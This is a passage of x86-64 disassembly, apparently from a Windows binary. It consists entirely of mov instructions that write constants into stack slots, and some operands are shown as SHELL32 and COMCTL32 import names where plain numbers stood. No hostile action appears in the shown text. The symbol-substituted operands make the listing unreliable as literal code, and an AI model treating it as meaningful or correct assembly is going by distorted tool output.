mov qword [rsp + 0xa330], rax
mov dword [rsp + 0x58f4], 0x7dffeff8
mov eax, 0x1a5
mov word [rsp + 0x1028], ax
mov eax, 0x705
mov word [rsp + 0x102c], ax
movabs rax, 0x75095015841a50
mov qword [rsp + 0xa338], rax
movabs rax, 0x72596f43164a2e
mov qword [rsp + 0xa340], rax
mov eax, 0xdd
mov word [rsp + 0x1030], ax
mov byte [rsp + 0x161], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x162], ILFindLastID
movabs rax, 0x7b7f4d63df136e
mov qword [rsp + 0xa348], rax
mov eax, 0x417
mov word [rsp + 0x1034], ax
mov byte [rsp + 0x163], 0x73
mov dword [rsp + 0x58f8], 0x88eac37
mov eax, 0xa04
mov word [rsp + 0x1038], ax
mov eax, 0x406
mov word [rsp + 0x103c], ax
mov eax, 0x58f
mov word [rsp + 0x1040], ax
mov eax, ILSaveToStream
mov word [rsp + 0x1044], ax
mov dword [rsp + 0x58fc], 0xbcb8
mov eax, 0xd02
mov word [rsp + 0x1048], ax
mov byte [rsp + 0x164], 3
mov eax, 0x2cc
mov word [rsp + 0x104c], ax
mov eax, 0xa4f
mov word [rsp + 0x1050], ax
mov dword [rsp + 0x5900], 0x985
mov eax, 0x72
mov word [rsp + 0x1054], ax
movabs rax, 0x755a6878bcb0eb
mov qword [rsp + 0xa350], rax
mov dword [rsp + 0x5904], 0x6185fc54
movabs rax, 0x71cf01e3ece543
mov qword [rsp + 0xa358], rax
mov eax, 0xf12
mov word [rsp + 0x1058], ax
mov dword [rsp + 0x5908], 0x36d3155
movabs rax, 0x7408d2d57bd7b8
mov qword [rsp + 0xa360], rax
mov eax, 0xded
mov word [rsp + 0x105c], ax
mov eax, 0xb16
mov word [rsp + 0x1060], ax
mov byte [rsp + 0x165], 0x5d
mov eax, 0xaa2
mov word [rsp + 0x1064], ax
mov eax, 0x46b
mov word [rsp + 0x1068], ax
mov byte [rsp + 0x166], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x590c], 0x9e22
mov eax, 0x66
mov word [rsp + 0x106c], ax
movabs rax, 0x792ac2e0d81507
mov qword [rsp + 0xa368], rax
mov dword [rsp + 0x5910], 0x2131
mov eax, 0xd2
mov word [rsp + 0x1070], ax
mov byte [rsp + 0x167], 0x69
mov dword [rsp + 0x5914], 0xc688
movabs rax, 0x7ec3a59be1984f
mov qword [rsp + 0xa370], rax
mov eax, 0x94a
mov word [rsp + 0x1074], ax
movabs rax, 0x7189475b52dca7
mov qword [rsp + 0xa378], rax
movabs rax, 0x7ce3c7d9eadac1
mov qword [rsp + 0xa380], rax
mov byte [rsp + 0x168], 0xfa
movabs rax, 0x74831c10e4b775
mov qword [rsp + 0xa388], rax
movabs rax, 0x74d2f6ba6f511d
mov qword [rsp + 0xa390], rax
mov eax, 0x64b
mov word [rsp + 0x1078], ax
movabs rax, 0x7cafb41409c987
mov qword [rsp + 0xa398], rax
mov eax, 0x294
mov word [rsp + 0x107c], ax
movabs rax, 0x766cc4db56c47a
mov qword [rsp + 0xa3a0], rax
mov eax, 0x3a2
mov word [rsp + 0x1080], ax
mov dword [rsp + 0x5918], 0x487f
movabs rax, 0x792d9a184a3fde
mov qword [rsp + 0xa3a8], rax
movabs rax, 0x74478a07a35ff3
mov qword [rsp + 0xa3b0], rax
mov byte [rsp + 0x169], 0x74
movabs rax, 0x7205b009afa089
mov qword [rsp + 0xa3b8], rax
mov dword [rsp + 0x591c], 0xa309
mov eax, 0x6e7
mov word [rsp + 0x1084], ax
mov eax, 0xb92
mov word [rsp + 0x1088], ax
mov byte [rsp + 0x16a], 0x20
mov dword [rsp + 0x5920], 0x2ddad4a5
mov dword [rsp + 0x5924], 0x7d801a8e
movabs rax, 0x7858d18a6958d4
mov qword [rsp + 0xa3c0], rax
mov eax, 0x71c
mov word [rsp + 0x108c], ax
movabs rax, 0x746bd7858b0729
mov qword [rsp + 0xa3c8], rax
mov eax, 0x888
mov word [rsp + 0x1090], ax
mov eax, 0x4ac
mov word [rsp + 0x1094], ax
movabs rax, 0x707155fb9d1f0e
mov qword [rsp + 0xa3d0], rax
mov byte [rsp + 0x16b], 0x24
mov byte [rsp + 0x16c], 0x41
mov dword [rsp + 0x5928], 0x33d2
mov eax, 0x1ca
mov word [rsp + 0x1098], ax
mov byte [rsp + 0x16d], 0x3f
mov dword [rsp + 0x592c], 0x9282
mov byte [rsp + 0x16e], 0x3a
mov byte [rsp + 0x16f], 0x77
mov eax, 0x672
mov word [rsp + 0x109c], ax
movabs rax, 0x75c19ab3fd0469
mov qword [rsp + 0xa3d8], rax
mov dword [rsp + 0x5930], 0x6bd6e8d9
mov dword [rsp + 0x5934], 0xbd86
mov byte [rsp + 0x170], 0x35
movabs rax, 0x796c5de75b88ab
mov qword [rsp + 0xa3e0], rax
mov eax, 0x63f
mov word [rsp + 0x10a0], ax
mov byte [rsp + 0x171], 0x68
mov eax, pe_nt_image_headers64
mov word [rsp + 0x10a4], ax
mov eax, 0xcb0
mov word [rsp + 0x10a8], ax
mov eax, 0x2b7
mov word [rsp + 0x10ac], ax
mov eax, 0xe7c
mov word [rsp + 0x10b0], ax
mov eax, 0xa4
mov word [rsp + 0x10b4], ax
movabs rax, 0x7239265f00c5ee
mov qword [rsp + 0xa3e8], rax
mov eax, 0x4d7
mov word [rsp + 0x10b8], ax
mov dword [rsp + 0x5938], 0x5f96
mov dword [rsp + 0x593c], 0x9701
mov eax, 0xa36
mov word [rsp + 0x10bc], ax
movabs rax, 0x78763bc620a530
mov qword [rsp + 0xa3f0], rax
mov dword [rsp + 0x5940], 0xa7e1
mov eax, 0xddf
mov word [rsp + 0x10c0], ax
movabs rax, 0x7c691476b8ada9
mov qword [rsp + 0xa3f8], rax
mov byte [rsp + 0x172], 0x8b
mov dword [rsp + 0x5944], 0x5983
mov byte [rsp + 0x173], 0xc4
movabs rax, 0x733be2ec88a9e8
mov qword [rsp + 0xa400], rax
mov eax, 0x65c
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x174], 0x6c
movabs rax, 0x73fd8eedd973ca
mov qword [rsp + 0xa408], rax
movabs rax, 0x79e0ee56f2cf65
mov qword [rsp + 0xa410], rax
movabs rax, 0x796c8f7fcfbe01
mov qword [rsp + 0xa418], rax
mov byte [rsp + 0x175], 0x36
mov eax, 0x7dc
mov word [rsp + 0x10c8], ax
mov byte [rsp + 0x176], 0x3f
movabs rax, 0x70a0eeea9a67a4
mov qword [rsp + 0xa420], rax
mov dword [rsp + 0x5948], 0x6ad4
mov byte [rsp + 0x177], SHDoDragDrop
mov dword [rsp + 0x594c], 0x51d1
mov eax, 0x732
mov word [rsp + 0x10cc], ax
mov byte [rsp + 0x178], 0x7a
movabs rax, 0x7e222add52d223
mov qword [rsp + 0xa428], rax
mov dword [rsp + 0x5950], 0x2786
mov eax, 0x111
mov word [rsp + 0x10d0], ax
movabs rax, 0x78cc1af73e9ad0
mov qword [rsp + 0xa430], rax
mov eax, 0x92
mov word [rsp + 0x10d4], ax
mov eax, 0x424
mov word [rsp + 0x10d8], ax
mov eax, 0xb30
mov word [rsp + 0x10dc], ax
movabs rax, 0x72fe09b659096b
mov qword [rsp + 0xa438], rax
movabs rax, 0x79b7cc15c25e3c
mov qword [rsp + 0xa440], rax
mov eax, 0x5f5
mov word [rsp + 0x10e0], ax
movabs rax, 0x733307d454aa76
mov qword [rsp + 0xa448], rax
mov eax, 0x78f
mov word [rsp + 0x10e4], ax
mov eax, 0x3bc
mov word [rsp + 0x10e8], ax
mov eax, 0x633
mov word [rsp + 0x10ec], ax
mov eax, 0x2f3
mov word [rsp + 0x10f0], ax
mov byte [rsp + 0x179], 0x5e
mov byte [rsp + 0x17a], 0x22
mov eax, 0x524
mov word [rsp + 0x10f4], ax
movabs rax, 0x74423fa4554466
mov qword [rsp + 0xa450], rax
mov dword [rsp + 0x5954], 0xd70
mov dword [rsp + 0x5958], 0xc71a
movabs rax, 0x77a3b52ee9c41f
mov qword [rsp + 0xa458], rax
mov dword [rsp + 0x595c], 0x362a
movabs rax, 0x7a20271ffcd695
mov qword [rsp + 0xa460], rax
movabs rax, 0x7bcb2343e68165
mov qword [rsp + 0xa468], rax
mov eax, 0x479
mov word [rsp + 0x10f8], ax
mov dword [rsp + 0x5960], 0xce56
movabs rax, 0x72ed535de769c1
mov qword [rsp + 0xa470], rax
movabs rax, 0x7a52c95a6fec6e
mov qword [rsp + 0xa478], rax
movabs rax, 0x75f0e257db4159
mov qword [rsp + 0xa480], rax
movabs rax, 0x72076e9c44fddc
mov qword [rsp + 0xa488], rax
movabs rax, 0x7492315d1f47ed
mov qword [rsp + 0xa490], rax
mov eax, 0x239
mov word [rsp + 0x10fc], ax
mov eax, 0x79
mov word [rsp + 0x1100], ax
movabs rax, 0x7eb9dbed97a2e9
mov qword [rsp + 0xa498], rax
movabs rax, 0x75a0065052bfb6
mov qword [rsp + 0xa4a0], rax
mov dword [rsp + 0x5964], 0x4bc5b36c
mov dword [rsp + 0x5968], 0x34a2
movabs rax, 0x7ca85123a7d969
mov qword [rsp + 0xa4a8], rax
mov eax, 0x39a
mov word [rsp + 0x1104], ax
mov eax, 0x643
mov word [rsp + 0x1108], ax
mov dword [rsp + 0x596c], 0x2afe49f8
mov byte [rsp + 0x17b], 0x1f
mov eax, 0x9a5
mov word [rsp + 0x110c], ax
mov eax, 0x182
mov word [rsp + 0x1110], ax
movabs rax, 0x77f3c59a529d84
mov qword [rsp + 0xa4b0], rax
mov dword [rsp + 0x5970], 0x2289
movabs rax, 0x78d4bf5c1a41c9
mov qword [rsp + 0xa4b8], rax
mov dword [rsp + 0x5974], 0xdc5e
mov dword [rsp + 0x5978], 0x31d0
mov eax, 0x661
mov word [rsp + 0x1114], ax
mov byte [rsp + 0x17c], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x597c], 0xf3d9e63
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x1118], ax
movabs rax, 0x7896be19ce45c7
mov qword [rsp + 0xa4c0], rax
movabs rax, 0x746c1bda32ed66
mov qword [rsp + 0xa4c8], rax
movabs rax, 0x746defc4498997
mov qword [rsp + 0xa4d0], rax
mov byte [rsp + 0x17d], 0x62
mov byte [rsp + 0x17e], SHDoDragDrop
mov eax, 0xd7a
mov word [rsp + 0x111c], ax
movabs rax, 0x7ae93b89f2a17b
mov qword [rsp + 0xa4d8], rax
mov dword [rsp + 0x5980], 0xd62
mov eax, 0x37e
mov word [rsp + 0x1120], ax
movabs rax, 0x7d69f9bbbfd212
mov qword [rsp + 0xa4e0], rax
mov eax, 0x7b3
mov word [rsp + 0x1124], ax
movabs rax, 0x704d4411726991
mov qword [rsp + 0xa4e8], rax
movabs rax, 0x75af312b12a210
mov qword [rsp + 0xa4f0], rax
mov byte [rsp + 0x17f], 0x30
movabs rax, 0x7cfa728960a1b6
mov qword [rsp + 0xa4f8], rax
mov dword [rsp + 0x5984], 0x4bdd
mov eax, 0x5b3
mov word [rsp + 0x1128], ax
movabs rax, 0x7bf730dee923b6
mov qword [rsp + 0xa500], rax
mov eax, 0x7ed
mov word [rsp + 0x112c], ax
movabs rax, 0x7a3be65f8d67f4
mov qword [rsp + 0xa508], rax
mov dword [rsp + 0x5988], 0x2c3a
movabs rax, 0x7080c28a6f1171
mov qword [rsp + 0xa510], rax
movabs rax, 0x71cfcc0e4c1baa
mov qword [rsp + 0xa518], rax
mov dword [rsp + 0x598c], 0x590bfa04
mov eax, 0x442
mov word [rsp + 0x1130], ax
mov eax, 0x15d
mov word [rsp + 0x1134], ax
mov byte [rsp + 0x180], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov eax, 0x514
mov word [rsp + 0x1138], ax
mov eax, 0x6e5
mov word [rsp + 0x113c], ax
mov eax, 0xe42
mov word [rsp + 0x1140], ax
movabs rax, 0x7115285a2e361f
mov qword [rsp + 0xa520], rax
mov eax, 0x388
mov word [rsp + 0x1144], ax
mov dword [rsp + 0x5990], 0x160fad32
mov byte [rsp + 0x181], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x680
mov word [rsp + 0x1148], ax
mov byte [rsp + 0x182], 0x68
mov byte [rsp + 0x183], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x5994], 0xd39a
mov dword [rsp + 0x5998], 0x602c331d
movabs rax, 0x7a2046f96193a3
mov qword [rsp + 0xa528], rax
mov dword [rsp + 0x599c], 0x2344
mov eax, 0xa4
mov word [rsp + 0x114c], ax
mov dword [rsp + 0x59a0], 0x615f
mov eax, 0x1c3
mov word [rsp + 0x1150], ax
mov byte [rsp + 0x184], 0x33
mov eax, 0x7e
mov word [rsp + 0x1154], ax
movabs rax, 0x790659f57246fe
mov qword [rsp + 0xa530], rax
mov eax, 0x934
mov word [rsp + 0x1158], ax
mov eax, 0x65a
mov word [rsp + 0x115c], ax
mov dword [rsp + 0x59a4], 0x5ad01fa0
movabs rax, 0x72346ad868d3aa
mov qword [rsp + 0xa538], rax
mov byte [rsp + 0x185], SHGetNewLinkInfoW
mov byte [rsp + 0x186], SHDoDragDrop
mov byte [rsp + 0x187], PathMakeUniqueName
mov byte [rsp + 0x188], reloc.SHELL32.dll_ILFree
mov eax, 0xdd7
mov word [rsp + 0x1160], ax
mov dword [rsp + 0x59a8], 0x9437
mov eax, 0x79d
mov word [rsp + 0x1164], ax
mov byte [rsp + 0x189], 0x7c
mov eax, 0x7ef
mov word [rsp + 0x1168], ax
mov byte [rsp + 0x18a], PathYetAnotherMakeUniqueName
mov eax, 0x8f5
mov word [rsp + 0x116c], ax
mov dword [rsp + 0x59ac], 0xd7af
mov eax, 0x87f
mov word [rsp + 0x1170], ax
mov eax, 0x617
mov word [rsp + 0x1174], ax
mov dword [rsp + 0x59b0], 0x4a9e
mov byte [rsp + 0x18b], 0x67
movabs rax, 0x7dff47acdaeaa6
mov qword [rsp + 0xa540], rax
mov byte [rsp + 0x18c], 0xbd
mov dword [rsp + 0x59b4], 0xa464
movabs rax, 0x77415b73de3108
mov qword [rsp + 0xa548], rax
mov eax, 0x879
mov word [rsp + 0x1178], ax
movabs rax, 0x7070d414e9c5c6
mov qword [rsp + 0xa550], rax
mov byte [rsp + 0x18d], 0x24
mov eax, 0x6e0
mov word [rsp + 0x117c], ax
movabs rax, 0x705c054b3ddd61
mov qword [rsp + 0xa558], rax
mov eax, 0x31f
mov word [rsp + 0x1180], ax
mov byte [rsp + 0x18e], SHDoDragDrop
movabs rax, 0x7d84891c5767a9
mov qword [rsp + 0xa560], rax
mov dword [rsp + 0x59b8], 0x9551
mov dword [rsp + 0x59bc], 0x2f05
mov eax, 0x7e4
mov word [rsp + 0x1184], ax
mov dword [rsp + 0x59c0], 0xeb4495a
movabs rax, 0x70d40101d92fd9
mov qword [rsp + 0xa568], rax
movabs rax, 0x79fcc2b5b7fd45
mov qword [rsp + 0xa570], rax
mov eax, 0x48c
mov word [rsp + 0x1188], ax
mov byte [rsp + 0x18f], reloc.SHELL32.dll_ILClone
movabs rax, 0x7e493b8f3db8a6
mov qword [rsp + 0xa578], rax
mov dword [rsp + 0x59c4], 0xd39c
movabs rax, 0x7663db39a8b5cd
mov qword [rsp + 0xa580], rax
mov dword [rsp + 0x59c8], 0xa03d
mov eax, 0xb25
mov word [rsp + 0x118c], ax
mov eax, 0x1aa
mov word [rsp + 0x1190], ax
mov dword [rsp + 0x59cc], 0x26b8
mov eax, 0xcba
mov word [rsp + 0x1194], ax
movabs rax, 0x7daddf5aea490d
mov qword [rsp + 0xa588], rax
mov eax, ILGetSize
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x59d0], 0x5dfc
mov dword [rsp + 0x59d4], 0xb413
mov dword [rsp + 0x59d8], 0x3d37de53
movabs rax, 0x770e17688c11db
mov qword [rsp + 0xa590], rax
mov dword [rsp + 0x59dc], 0x759c2d19
mov eax, 0xa4d
mov word [rsp + 0x119c], ax
mov dword [rsp + 0x59e0], 0x41b57fc6
movabs rax, 0x712e2ad83c50cf
mov qword [rsp + 0xa598], rax
movabs rax, 0x75a1017d59fd9d
mov qword [rsp + 0xa5a0], rax
mov eax, 0xfe
mov word [rsp + 0x11a0], ax
movabs rax, 0x7e20db19a64533
mov qword [rsp + 0xa5a8], rax
movabs rax, 0x7ea139aa269a3f
mov qword [rsp + 0xa5b0], rax
mov eax, 0x43d
mov word [rsp + 0x11a4], ax
mov dword [rsp + 0x59e4], 0x7d658422
mov eax, 0x17e
mov word [rsp + 0x11a8], ax
mov eax, 0x772
mov word [rsp + 0x11ac], ax
mov dword [rsp + 0x59e8], 0xd7c4
mov dword [rsp + 0x59ec], 0x6212dd2a
mov byte [rsp + 0x190], PathYetAnotherMakeUniqueName
mov eax, 0x7ea
mov word [rsp + 0x11b0], ax
movabs rax, 0x720b0955651499
mov qword [rsp + 0xa5b8], rax
mov dword [rsp + 0x59f0], 0x4416
movabs rax, 0x744bd1f3cf6a69
mov qword [rsp + 0xa5c0], rax
mov dword [rsp + 0x59f4], 0x719c
movabs rax, 0x7839dd3667d40a
mov qword [rsp + 0xa5c8], rax
mov eax, 0x708
mov word [rsp + 0x11b4], ax
mov eax, 0x2ab
mov word [rsp + 0x11b8], ax
movabs rax, 0x74eeb57426cc63
mov qword [rsp + 0xa5d0], rax
mov dword [rsp + 0x59f8], 0xebb0
mov eax, 0x4b2
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x59fc], 0xa797
mov dword [rsp + 0x5a00], 0x21b00d4b
mov dword [rsp + 0x5a04], 0x87e6
mov eax, 0x92a
mov word [rsp + 0x11c0], ax
mov byte [rsp + 0x191], reloc.COMCTL32.dll_LBItemFromPt
mov byte [rsp + 0x192], PathMakeUniqueName
movabs rax, 0x7b00df0f4083ab
mov qword [rsp + 0xa5d8], rax
mov eax, 0x309
mov word [rsp + 0x11c4], ax
movabs rax, 0x753781cb4a7353
mov qword [rsp + 0xa5e0], rax
mov eax, 0xf78
mov word [rsp + 0x11c8], ax
mov eax, 0x18e
mov word [rsp + 0x11cc], ax
movabs rax, 0x79083e1422e30f
mov qword [rsp + 0xa5e8], rax
mov eax, 0x3b2
mov word [rsp + 0x11d0], ax
mov eax, 0x3fc
mov word [rsp + 0x11d4], ax
mov byte [rsp + 0x193], 0x3a
mov eax, 0x532
mov word [rsp + 0x11d8], ax
movabs rax, 0x703c01bc784918
mov qword [rsp + 0xa5f0], rax
movabs rax, 0x7e8231940c2b54
mov qword [rsp + 0xa5f8], rax
movabs rax, 0x71dbbcaeecaa85
mov qword [rsp + 0xa600], rax
mov byte [rsp + 0x194], 0xeb
movabs rax, 0x7bf4a391296530
mov qword [rsp + 0xa608], rax
mov dword [rsp + 0x5a08], 0x7c41df23
movabs rax, 0x73c9f6047d4c53
mov qword [rsp + 0xa610], rax
movabs rax, 0x77cc7a40cc0c7a
mov qword [rsp + 0xa618], rax
movabs rax, 0x73d52af7f2532c
mov qword [rsp + 0xa620], rax
mov eax, 0x49d
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x5a0c], 0x3e353e3b
mov byte [rsp + 0x195], 0xc3
mov dword [rsp + 0x5a10], 0x9aec
mov dword [rsp + 0x5a14], 0xd989
movabs rax, 0x77245f9837424f
mov qword [rsp + 0xa628], rax
movabs rax, 0x76492289fe0c58
mov qword [rsp + 0xa630], rax
movabs rax, 0x7aa732ed3b76fc
mov qword [rsp + 0xa638], rax
mov eax, 0xfbe
mov word [rsp + 0x11e0], ax
mov dword [rsp + 0x5a18], 0xaa39c3f
mov eax, 0x8fe
mov word [rsp + 0x11e4], ax
mov dword [rsp + 0x5a1c], 0x37d2
movabs rax, 0x7c23e17e144fca
mov qword [rsp + 0xa640], rax
mov eax, 0xc3c
mov word [rsp + 0x11e8], ax
mov dword [rsp + 0x5a20], 0xe8ca
mov dword [rsp + 0x5a24], 0x7dac11ef
movabs rax, 0x75c0198f23ab31
mov qword [rsp + 0xa648], rax
mov eax, 0x54c
mov word [rsp + 0x11ec], ax
mov byte [rsp + 0x196], reloc.SHELL32.dll_ILIsEqual
mov byte [rsp + 0x197], PathYetAnotherMakeUniqueName
movabs rax, 0x74d73162f8296c
mov qword [rsp + 0xa650], rax
movabs rax, 0x781d70035762ef
mov qword [rsp + 0xa658], rax
mov dword [rsp + 0x5a28], 0xa1eb
mov dword [rsp + 0x5a2c], 0x6a7f
mov byte [rsp + 0x198], ILSaveToStream
movabs rax, 0x7329a8f41363ee
mov qword [rsp + 0xa660], rax
movabs rax, 0x7b376db71ac72f
mov qword [rsp + 0xa668], rax
movabs rax, 0x7e02aee2944f9f
mov qword [rsp + 0xa670], rax
mov eax, 0x3b8
mov word [rsp + 0x11f0], ax
movabs rax, 0x7d748d56df6ff8
mov qword [rsp + 0xa678], rax
movabs rax, 0x73cd4da446f19d
mov qword [rsp + 0xa680], rax
mov dword [rsp + 0x5a30], 0x69a1
mov dword [rsp + 0x5a34], 0xb844
mov byte [rsp + 0x199], 0x78
movabs rax, 0x79e8f3afd1c417
mov qword [rsp + 0xa688], rax
movabs rax, 0x7ce34000bf7c1b
mov qword [rsp + 0xa690], rax
movabs rax, 0x703720105e8a3f
mov qword [rsp + 0xa698], rax
mov byte [rsp + 0x19a], 0x36
movabs rax, 0x73d13a1356196c
mov qword [rsp + 0xa6a0], rax
movabs rax, 0x7b9f2e6bc4fee8
mov qword [rsp + 0xa6a8], rax
mov eax, 0x935
mov word [rsp + 0x11f4], ax
movabs rax, 0x7a4b61be523f84
mov qword [rsp + 0xa6b0], rax
mov eax, 0xe90
mov word [rsp + 0x11f8], ax
movabs rax, 0x7581e094e7ba99
mov qword [rsp + 0xa6b8], rax
mov dword [rsp + 0x5a38], 0x8f9
mov eax, 0x323
mov word [rsp + 0x11fc], ax
movabs rax, 0x7910f3eda3e0ac
mov qword [rsp + 0xa6c0], rax
mov eax, 0x6cc
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x5a3c], 0x7e00
mov eax, 0x5f4
mov word [rsp + 0x1204], ax
mov eax, 0x8fe
mov word [rsp + 0x1208], ax
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], reloc.COMCTL32.dll_MakeDragList
mov eax, 0x344
mov word [rsp + 0x120c], ax
movabs rax, 0x7e588ca0460927
mov qword [rsp + 0xa6c8], rax
mov byte [rsp + 0x19c], 0x3f
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x4e
mov eax, 0x77e
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x5a40], 0xdb85
mov eax, 0x2a5
mov word [rsp + 0x1214], ax
mov byte [rsp + 0x19e], 0x1d
mov byte [rsp + 0x19f], 0x3c
mov dword [rsp + 0x5a44], 0x42eaaa3d
mov byte [rsp + 0x1a0], SHTestTokenMembership
movabs rax, 0x7d233336b4d9db
mov qword [rsp + 0xa6d0], rax
mov eax, 0x125
mov word [rsp + 0x1218], ax
mov byte [rsp + 0x1a1], 0x35
mov eax, 0x399
mov word [rsp + 0x121c], ax
mov eax, 0x749
mov word [rsp + 0x1220], ax
mov byte [rsp + 0x1a2], 0x4f
movabs rax, 0x764f2106b6be6d
mov qword [rsp + 0xa6d8], rax
mov eax, 0x5bb
mov word [rsp + 0x1224], ax
mov dword [rsp + 0x5a48], 0x43a0
movabs rax, 0x74e3ef9a5a22b8
mov qword [rsp + 0xa6e0], rax
mov dword [rsp + 0x5a4c], 0xdb1483e
mov dword [rsp + 0x5a50], 0x632a
mov dword [rsp + 0x5a54], 0xd9d2
mov eax, 0x499
mov word [rsp + 0x1228], ax
mov eax, 0x49e
mov word [rsp + 0x122c], ax
mov eax, 0xaa3
mov word [rsp + 0x1230], ax
movabs rax, 0x79ea05eb2ae657
mov qword [rsp + 0xa6e8], rax
movabs rax, 0x7de92540dae96b
mov qword [rsp + 0xa6f0], rax
mov eax, 0x16f
mov word [rsp + 0x1234], ax
mov byte [rsp + 0x1a3], ILGetSize
mov dword [rsp + 0x5a58], 0x1d75cc8c
mov eax, 0x20
mov word [rsp + 0x1238], ax
mov dword [rsp + 0x5a5c], 0xeee4
movabs rax, 0x79fbe3ed02acf0
mov qword [rsp + 0xa6f8], rax
mov eax, 0x9e
mov word [rsp + 0x123c], ax
mov byte [rsp + 0x1a4], 0x71
mov eax, 0x582
mov word [rsp + 0x1240], ax
movabs rax, 0x794a844665a4a1
mov qword [rsp + 0xa700], rax
movabs rax, 0x7225d69813fa50
mov qword [rsp + 0xa708], rax
mov eax, 0x885
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x5a60], 0xc2a6
mov dword [rsp + 0x5a64], 0x8e47
mov eax, 0x374
mov word [rsp + 0x1248], ax
movabs rax, 0x7ea1ec2d39c52b
mov qword [rsp + 0xa710], rax
movabs rax, 0x79c8ccf0d7a840
mov qword [rsp + 0xa718], rax
mov eax, 0x648
mov word [rsp + 0x124c], ax
mov eax, 0xc7e
mov word [rsp + 0x1250], ax
mov dword [rsp + 0x5a68], 0xd174
mov eax, 0x52a
mov word [rsp + 0x1254], ax
mov eax, 0x126
mov word [rsp + 0x1258], ax
movabs rax, 0x7bcfc5b63b522a
mov qword [rsp + 0xa720], rax
mov dword [rsp + 0x5a6c], 0x759dd6e2
mov eax, 0x999
mov word [rsp + 0x125c], ax
mov eax, 0x344
mov word [rsp + 0x1260], ax
mov byte [rsp + 0x1a5], SHTestTokenMembership
movabs rax, 0x77b715ae386e50
mov qword [rsp + 0xa728], rax
mov dword [rsp + 0x5a70], 0x75b8bf5a
mov byte [rsp + 0x1a6], 4
mov dword [rsp + 0x5a74], 0x740eabdf
movabs rax, 0x710b6ca60cc761
mov qword [rsp + 0xa730], rax
mov eax, 0xa5d
mov word [rsp + 0x1264], ax
movabs rax, 0x7e41bf281836d1
mov qword [rsp + 0xa738], rax
mov dword [rsp + 0x5a78], 0x431d5f36
movabs rax, 0x7220dd36e93e0c
mov qword [rsp + 0xa740], rax
mov eax, 0x6e1
mov word [rsp + 0x1268], ax
mov byte [rsp + 0x1a7], 0x63
mov eax, 0xbf
mov word [rsp + 0x126c], ax
mov eax, 0xb05
mov word [rsp + 0x1270], ax
mov eax, 0x22a
mov word [rsp + 0x1274], ax
mov eax, 0x5bc
mov word [rsp + 0x1278], ax
movabs rax, 0x7c4761c65fb7fd
mov qword [rsp + 0xa748], rax
mov dword [rsp + 0x5a7c], 0x9c6d
movabs rax, 0x79c086f9d022ef
mov qword [rsp + 0xa750], rax
mov byte [rsp + 0x1a8], ILIsEqual
mov byte [rsp + 0x1a9], 0x34
mov eax, 0xfb8
mov word [rsp + 0x127c], ax
movabs rax, 0x70c31a67cdd978
mov qword [rsp + 0xa758], rax
mov eax, 0xddd
mov word [rsp + 0x1280], ax
mov byte [rsp + 0x1aa], 0x7a
mov eax, 0x14f
mov word [rsp + 0x1284], ax
movabs rax, 0x78858f68edc0c4
mov qword [rsp + 0xa760], rax
mov byte [rsp + 0x1ab], 0x33
mov eax, 0x59e
mov word [rsp + 0x1288], ax
movabs rax, 0x79db1ca6462511
mov qword [rsp + 0xa768], rax
mov dword [rsp + 0x5a80], 0x9e3f
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x5a84], 0x3e96
movabs rax, 0x7122df2c19ddec
mov qword [rsp + 0xa770], rax
mov eax, 0x7fe
mov word [rsp + 0x1290], ax
mov byte [rsp + 0x1ac], 0xb5
movabs rax, 0x74462098a2a79d
mov qword [rsp + 0xa778], rax
mov byte [rsp + 0x1ad], 0x5c
mov dword [rsp + 0x5a88], 0xc430
mov dword [rsp + 0x5a8c], 0x2bf95903
mov eax, 0xcb1
mov word [rsp + 0x1294], ax
movabs rax, 0x7e33f8e2ed486f
mov qword [rsp + 0xa780], rax
mov byte [rsp + 0x1ae], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x1af], 1
movabs rax, 0x7ddf256103993a
mov qword [rsp + 0xa788], rax
movabs rax, 0x7917cebda2f676
mov qword [rsp + 0xa790], rax
mov eax, 0xde
mov word [rsp + 0x1298], ax
mov byte [rsp + 0x1b0], 0x79
movabs rax, 0x7dd50261f14909
mov qword [rsp + 0xa798], rax
movabs rax, 0x775e3aca46e232
mov qword [rsp + 0xa7a0], rax
movabs rax, 0x77eb66cd75f17b
mov qword [rsp + 0xa7a8], rax
mov eax, 0x6fb
mov word [rsp + 0x129c], ax
movabs rax, 0x71e3e6cd205151
mov qword [rsp + 0xa7b0], rax
movabs rax, 0x710b76ab7d2f59
mov qword [rsp + 0xa7b8], rax
mov dword [rsp + 0x5a90], 0x150e
mov byte [rsp + 0x1b1], 0x60
mov eax, 0x3cd
mov word [rsp + 0x12a0], ax
mov dword [rsp + 0x5a94], 0x2547
mov dword [rsp + 0x5a98], 0x4365
mov byte [rsp + 0x1b2], reloc.SHELL32.dll_ILClone
movabs rax, 0x726ac7f5846497
mov qword [rsp + 0xa7c0], rax
mov eax, 0x36d
mov word [rsp + 0x12a4], ax
mov byte [rsp + 0x1b3], 0x33
movabs rax, 0x7a0f362f6668cf
mov qword [rsp + 0xa7c8], rax
movabs rax, 0x7531c9fe51fd00
mov qword [rsp + 0xa7d0], rax
mov dword [rsp + 0x5a9c], 0x18e
mov dword [rsp + 0x5aa0], 0xe658
mov eax, 0x8c0
mov word [rsp + 0x12a8], ax
movabs rax, 0x765dbf594b5e81
mov qword [rsp + 0xa7d8], rax
mov byte [rsp + 0x1b4], ILSaveToStream
mov eax, 0x3aa
mov word [rsp + 0x12ac], ax
mov eax, 0x8eb
mov word [rsp + 0x12b0], ax
movabs rax, 0x75e517c61d89be
mov qword [rsp + 0xa7e0], rax
mov byte [rsp + 0x1b5], 0x7d
mov dword [rsp + 0x5aa4], 0xff29
movabs rax, 0x7a92c18e17a174
mov qword [rsp + 0xa7e8], rax
